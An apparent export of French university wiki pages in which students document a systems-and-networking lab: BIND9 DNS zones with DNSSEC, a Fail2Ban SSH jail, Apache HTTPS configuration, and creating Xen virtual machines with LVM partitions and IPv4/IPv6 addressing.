&lt;br /&gt;
==Configuration des zones==&lt;br /&gt;
Ensuite, nous avons modifié le fichier named.conf.local du package BIND9 afin de déclarer une zone principale pour wahran.online et une zone secondaire pour alloco.online.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;wahran.online&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/wahran.online/wahran.zone&amp;quot;;&lt;br /&gt;
	allow-transfer{secondaries;}; // filtrage des secondaires&lt;br /&gt;
//	also-notify{hiddensecondaries;}; // pour les secondaires vicieux&lt;br /&gt;
	notify yes; // notification des secondaires&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
	192.168.0.3; // serveur secondaire&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fe81:abfe; //serveur secondaire IPV6&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Création et configuration du fichier .zone==&lt;br /&gt;
Nous avons ensuite créé et configuré le fichier wahran.zone.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 100&lt;br /&gt;
&lt;br /&gt;
@	IN	SOA	ns.wahran.online.	postmaster.wahran.online. (&lt;br /&gt;
	3600	; Version&lt;br /&gt;
	21600	; Refresh secondary	(6h)&lt;br /&gt;
	3600	; Retry secondary	(1h)&lt;br /&gt;
	2592000	; Expire if no refresh	(30 jours)&lt;br /&gt;
	86400	; Negative cache	(24h)&lt;br /&gt;
)&lt;br /&gt;
&lt;br /&gt;
; Enregistrements des serveurs de noms&lt;br /&gt;
@	IN	NS	ns.wahran.online.&lt;br /&gt;
@	IN	NS	ns2.alloco.online.&lt;br /&gt;
&lt;br /&gt;
; Enregistrements AAAA (IPv6)&lt;br /&gt;
ns	IN AAAA		2001:660:4401:60a0:216:3eff:fe32:8fa2&lt;br /&gt;
&lt;br /&gt;
: Enregistrements A (IPv4)&lt;br /&gt;
ns	IN A		193.48.57.164&lt;br /&gt;
&lt;br /&gt;
; Enregistrements CNAME&lt;br /&gt;
www	IN CNAME	wahran.online&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On charge la version du fichier de zone avec la commande suivante :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:/etc/bind/wahran.online# named-checkzone wahran.zone wahran.zone &lt;br /&gt;
zone wahran.zone/IN: loaded serial 3601&lt;br /&gt;
OK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Vérifications==&lt;br /&gt;
Enfin, nous avons vérifié la syntaxe et chargé ces fichiers de zone en utilisant la commande suivante dans le répertoire concerné :&lt;br /&gt;
&lt;br /&gt;
named-checkzone &amp;lt;nom du fichier&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ces configurations nous permettent d’assurer une résolution correcte des noms de domaine et de gérer efficacement notre infrastructure DNS.&lt;br /&gt;
&lt;br /&gt;
Après avoir effectué ces modifications, nous pouvons vérifier si notre DNS s’est correctement propagé sur le site DNSchecker. Comme le montre cet capture d'écran, la propagation est bien effective dans la zone de Lille avec une adresse IPv6 :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:DNS_Lille.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
=DNSSEC=&lt;br /&gt;
&lt;br /&gt;
==Configuration de la méthode automatique==&lt;br /&gt;
Pour sécuriser notre DNS, nous modifions notre fichier named.conf.local pour utiliser la méthode automatique:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;wahran.online&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/wahran.online/wahran.zone&amp;quot;;&lt;br /&gt;
	allow-transfer{secondaries;}; // filtrage des secondaires&lt;br /&gt;
//	also-notify{hiddensecondaries;}; // pour les secondaires vicieux&lt;br /&gt;
	notify yes; // notification des secondaires&lt;br /&gt;
	key-directory &amp;quot;/etc/bind/keys&amp;quot;; //repertoire des keys&lt;br /&gt;
  	dnssec-policy &amp;quot;dnspol&amp;quot;; //utilisation d'une politique DNSSEC&lt;br /&gt;
  	inline-signing yes; //activation de la signature automatique&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
	192.168.0.3; // serveur secondaire&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fe81:abfe; //serveur secondaire IPV6&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Génération des clés==&lt;br /&gt;
ensuite nous créeons le répertoire qui va acceuillir nos clés:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkdir -p /etc/bind/keys&lt;br /&gt;
chown bind:bind /etc/bind/keys&lt;br /&gt;
chmod 700 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
et nous redémarrons le service :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
voici nos clés disponible dans le répertoire /etc/bind/keys crée ci-dessus:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# ls /etc/bind/keys&lt;br /&gt;
Kwahran.online.+013+17231.key	   Kwahran.online.+013+62188.key&lt;br /&gt;
Kwahran.online.+013+17231.private  Kwahran.online.+013+62188.private&lt;br /&gt;
Kwahran.online.+013+17231.state    Kwahran.online.+013+62188.state&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant verifier sur le site &amp;quot;DNSViz&amp;quot; le DNS de ns.wahran.online, pour l'instant le site indique une erreur : wahran.online zone: The server(s) were not responsive to queries over UDP.&lt;br /&gt;
&lt;br /&gt;
J'essaye de regler cela.&lt;br /&gt;
&lt;br /&gt;
=Fail2Ban=&lt;br /&gt;
Nous pouvons implémenter une fonctionnalité pour sécuriser notre VM : bannir une IP après plusieurs tentative de connexions ssh raté.&lt;br /&gt;
dans /etc/fail2ban/jail.local nous ajoutons ces options:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
[sshd]&lt;br /&gt;
enable	= true&lt;br /&gt;
port    = ssh&lt;br /&gt;
filter	= sshd&lt;br /&gt;
maxretry = 5&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime  = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Après 5 tentative de ssh échouée, l'IP en question sera banni 10 minutes:&lt;br /&gt;
&lt;br /&gt;
=HTTPS=&lt;br /&gt;
==Installation d'Apache2==&lt;br /&gt;
Dans un premier temps, j'ai installé le serveur Apache en utilisant la commande suivante :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
aptitude install apache2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'ai activé le module SSL pour permettre les connexions HTTPS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Activation du port HTTPS==&lt;br /&gt;
Dans le fichier `/etc/apache2/ports.conf`, j'ai ajouté la configuration nécessaire pour qu'Apache écoute sur le port 443, le port HTTPS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# cat /etc/apache2/ports.conf&lt;br /&gt;
# Port HTTP classique&lt;br /&gt;
Listen 80&lt;br /&gt;
&lt;br /&gt;
# Port HTTPS&lt;br /&gt;
&amp;lt;IfModule ssl_module&amp;gt;&lt;br /&gt;
    Listen 443&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;IfModule mod_gnutls.c&amp;gt;&lt;br /&gt;
    Listen 443&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration du certificat SSL==&lt;br /&gt;
J'ai installé un certificat SSL, ainsi que la clé privée et le certificat intermédiaire fourni par Gandi pour créer une chaîne de confiance. Ces fichiers sont placés dans les répertoires appropriés sur le serveur :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/etc/ssl/certs/wahran.online.crt : Certificat SSL&lt;br /&gt;
/etc/ssl/private/myserver.key : Clé privée&lt;br /&gt;
/etc/ssl/certs/GandiCert.pem : Certificat intermédiaire&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration du domaine sécurisé==&lt;br /&gt;
J'ai créé un fichier de configuration spécifique pour mon domaine (wahran.online) dans le répertoire `/etc/apache2/sites-available/000-wahran.online-ssl.conf`. Ce fichier définit un `VirtualHost` pour le port 443 et redirige toute les requetes http sur le port 80 vers https :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# cat /etc/apache2/sites-available/000-wahran.online-ssl.conf &lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName wahran.online&lt;br /&gt;
        Redirect permanent / https://ns.wahran.online/  &lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
&lt;br /&gt;
        ServerName wahran.online&lt;br /&gt;
        ServerAlias wahran.online&lt;br /&gt;
        DocumentRoot /var/www/wahran.online/&lt;br /&gt;
        CustomLog /var/log/apache2/secure_access.log combined&lt;br /&gt;
&lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        SSLCertificateFile /etc/ssl/certs/wahran.online.crt&lt;br /&gt;
        SSLCertificateKeyFile /etc/ssl/private/myserver.key&lt;br /&gt;
        SSLCertificateChainFile /etc/ssl/certs/GandiCert.pem&lt;br /&gt;
        SSLVerifyClient None&lt;br /&gt;
        SSLProxyEngine on&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
lorsque l'on se rend sur h, nous somme redirigé vers .&lt;br /&gt;
&lt;br /&gt;
==Configuration DNS avec DNSSEC==&lt;br /&gt;
Pour la gestion des DNS de mon domaine, j'ai configuré le fichier `/etc/bind/named.conf.local` pour ajouter la zone DNS de `wahran.online` avec une politique DNSSEC, ce qui renforce la sécurité de la gestion de mes enregistrements DNS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# cat /etc/bind/named.conf.local&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;wahran.online&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/wahran.online/wahran.zone&amp;quot;;&lt;br /&gt;
	allow-transfer{secondaries;}; // filtrage des secondaires&lt;br /&gt;
//	also-notify{hiddensecondaries;}; // pour les secondaires vicieux&lt;br /&gt;
	notify yes; // notification des secondaires&lt;br /&gt;
	key-directory &amp;quot;/etc/bind/keys&amp;quot;; //repertoire des keys&lt;br /&gt;
  	dnssec-policy &amp;quot;dnspol&amp;quot;; //utilisation d'une politique DNSSEC&lt;br /&gt;
  	inline-signing yes; //activation de la signature automatique&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
	192.168.0.3; // serveur secondaire&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fea0:ae02; //IPv6 Proxy&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fe81:abfe; //serveur secondaire IPV6&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
masters &amp;quot;hiddensecondaries&amp;quot;{&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fea0:ae02;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;alloco.online&amp;quot;{&lt;br /&gt;
	type slave;&lt;br /&gt;
	file &amp;quot;/etc/bind/backup/alloco.online&amp;quot;;&lt;br /&gt;
	masters{2001:660:4401:60a0:216:3eff:fe81:abfe;};&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Vérification du certificat SSL==&lt;br /&gt;
Enfin, j'ai effectué le rehash de la structure SSL pour m'assurer que tous les certificats étaient bien reconnus et prêts à être utilisés :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
c_rehash /etc/ssl/certs&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Yyahiani</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E8&amp;diff=12101</id>
		<title>Atelier SysRes SE4 2025/2026 E8</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E8&amp;diff=12101"/>
		<updated>2026-02-07T17:12:56Z</updated>

		<summary type="html">&lt;p&gt;Yyahiani : /* IP */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Création du pont et des VM=&lt;br /&gt;
&lt;br /&gt;
== Création du pont: ==&lt;br /&gt;
Dans capbreton, dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; on renseigne notre pont &amp;lt;code&amp;gt;pontclio&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
auto pontclio&lt;br /&gt;
iface pontclio inet manual&lt;br /&gt;
  bridge_ports none&lt;br /&gt;
  up ip link set $IFACE up&lt;br /&gt;
  down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Partitions==&lt;br /&gt;
Nous commençons par nous mettre en ssh sur capbreton et à rentrer cet commande pour créer nos machines virtuelles (2 VM services + 1 VM mandataire) :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.RS7 --dhcp --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2G --bridge=pontclio&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous assignons les partitions dans le fichier /etc/xen/SE4.RS7.cfg:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
phy:/dev/virtual/SE4.RS7-home,xvdb1,w,&lt;br /&gt;
phy:/dev/virtual/SE4.RS7-var,xvda3,w,&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour démarrer notre VM nous exécutons la commande suivante: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create SE4.RS7.cfg &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous pouvons vérifier si la VM est démarrée avec:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Par la suite nous nous connectons à la VM de cette manière:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.RS7&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite créer les partitions &amp;lt;code&amp;gt;var&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;home&amp;lt;/code&amp;gt;:&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
lvcreate -L10G -nSE4.RS7.home virtual&lt;br /&gt;
lvcreate -L10G -nSE4.RS7.var virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous devons maintenant implémenter /var et /home dans nos partitions LVM, on se place donc dans le fichier /etc/fstab pour y ajouter nos disk:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvda3 /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et nous formatons ces disk avec ces deux commandes:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il faut maintenant Mount les fichiers à implémenter le /var, or j'ai Mount le xvdb1 par mégarde comme énoncé ci-dessus:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount /dev/xvdb1 /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On copie les données et on démonte le fichier copié:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
unmount /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant observer les changement:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=IP=&lt;br /&gt;
Nous voulons maintenant assigner des adresse IPv4 et IPv6 à nos VM, chaque VM de service aura une IP privée, la VM mandataire aura une IP privée + une IP routée, pour cela nous modifions le fichier /etc/network/interfaces de nos VM, il ne faut pas oublier de modifier le fichier .cfg pour rajouter nos machines sur le commutateur SE4 (commutateur de la promo) en prenant la même adresse MAC et faire +1:&lt;br /&gt;
&lt;br /&gt;
==VM de service==&lt;br /&gt;
&lt;br /&gt;
Pour configurer le réseau, nous modifions le fichier /etc/network/interfaces afin d’attribuer une adresse IPv4 et une adresse IPv6.&lt;br /&gt;
&lt;br /&gt;
Tout d'abord nous devons mettre nos machines sur le commutateur de la promo en modifiant le fichier .cfg:&lt;br /&gt;
&lt;br /&gt;
L’adresse IPv6 ne pose aucun problème : il suffit d’ajouter la ligne suivante :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iface eth0 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Concernant l’adresse IPv4, nous avons choisi une adresse privée pour l’utilisation de notre binôme : 192.168.0.0/24.&lt;br /&gt;
&lt;br /&gt;
De plus, la machine mandataire joue le rôle de passerelle (gateway) pour les deux machines de services. Nous lui avons attribué l’adresse IPv4 192.168.0.1.&lt;br /&gt;
&lt;br /&gt;
Nous complétons donc le fichier avec une adresse statique :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.7.2 &lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
    gateway 192.168.7.1 &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==VM mandataire==&lt;br /&gt;
&lt;br /&gt;
Ensuite, il est nécessaire d’attribuer une seconde adresse IPv4 sur eth1. Toutefois, cette interface n’existe pas par défaut sur les machines virtuelles (VM). Il faut donc la créer en modifiant le fichier .cfg de la machine sur Capbreton.&lt;br /&gt;
&lt;br /&gt;
Dans la section Networking, on trouve une ligne vif à modifier. Nous l’ajustons pour ajouter une interface eth1 sur le bridge SE4, tout en conservant eth0.&lt;br /&gt;
&lt;br /&gt;
Après avoir redémarré la machine, l’interface eth1 sera disponible. Nous pouvons alors mettre à jour le fichier /etc/network/interfaces :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# Primary interface&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.7.1/24&lt;br /&gt;
&lt;br /&gt;
# Second interface&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.170/27&lt;br /&gt;
    gateway 193.48.57.164&lt;br /&gt;
&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tests ==&lt;br /&gt;
&lt;br /&gt;
Après avoir mis UP toute les interfaces de nos VM nous obtenons bien nos adresse IPv4 et IPv6.&lt;br /&gt;
&lt;br /&gt;
Voici l'état des interfaces de la machine de service RS7 :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:~# ip a&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:d3:d6:92 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 192.168.7.2/24 brd 192.168.7.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fed3:d692/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:d3:d6:93 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet6 2001:660:4401:60a0:216:3eff:fed3:d693/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 942sec preferred_lft 842sec&lt;br /&gt;
    inet6 fe80::216:3eff:fed3:d693/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et voici l'état des interface de la machines mandataire Garage :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Garage:~# ip a&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:e4:9c:07 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 192.168.7.1/24 brd 192.168.7.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fee4:9c07/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:e4:9c:08 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 193.48.57.170/27 brd 193.48.57.191 scope global eth1&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 2001:660:4401:60a0:216:3eff:fee4:9c08/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 893sec preferred_lft 793sec&lt;br /&gt;
    inet6 fe80::216:3eff:fee4:9c08/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Test de la LAN ===&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant ping entre nos VM, voici un ping de RS7 vers C2:&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping C2.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
Et voici un ping de RS7 vers Garages&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping Garage.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
=== Test vers l'extérieur ===&lt;br /&gt;
&lt;br /&gt;
Nous vérifions maintenant si ma machines de service RS7 à bien accès à internet en IPv4 (via la VM mandataire) et en IPv6.&lt;br /&gt;
&lt;br /&gt;
Voici un ping de RS7 vers l'extérieur en IPv4:&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping ipv4.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
Et voici un ping de RS7 vers l'extérieur en IPv6:&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping ipv6|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
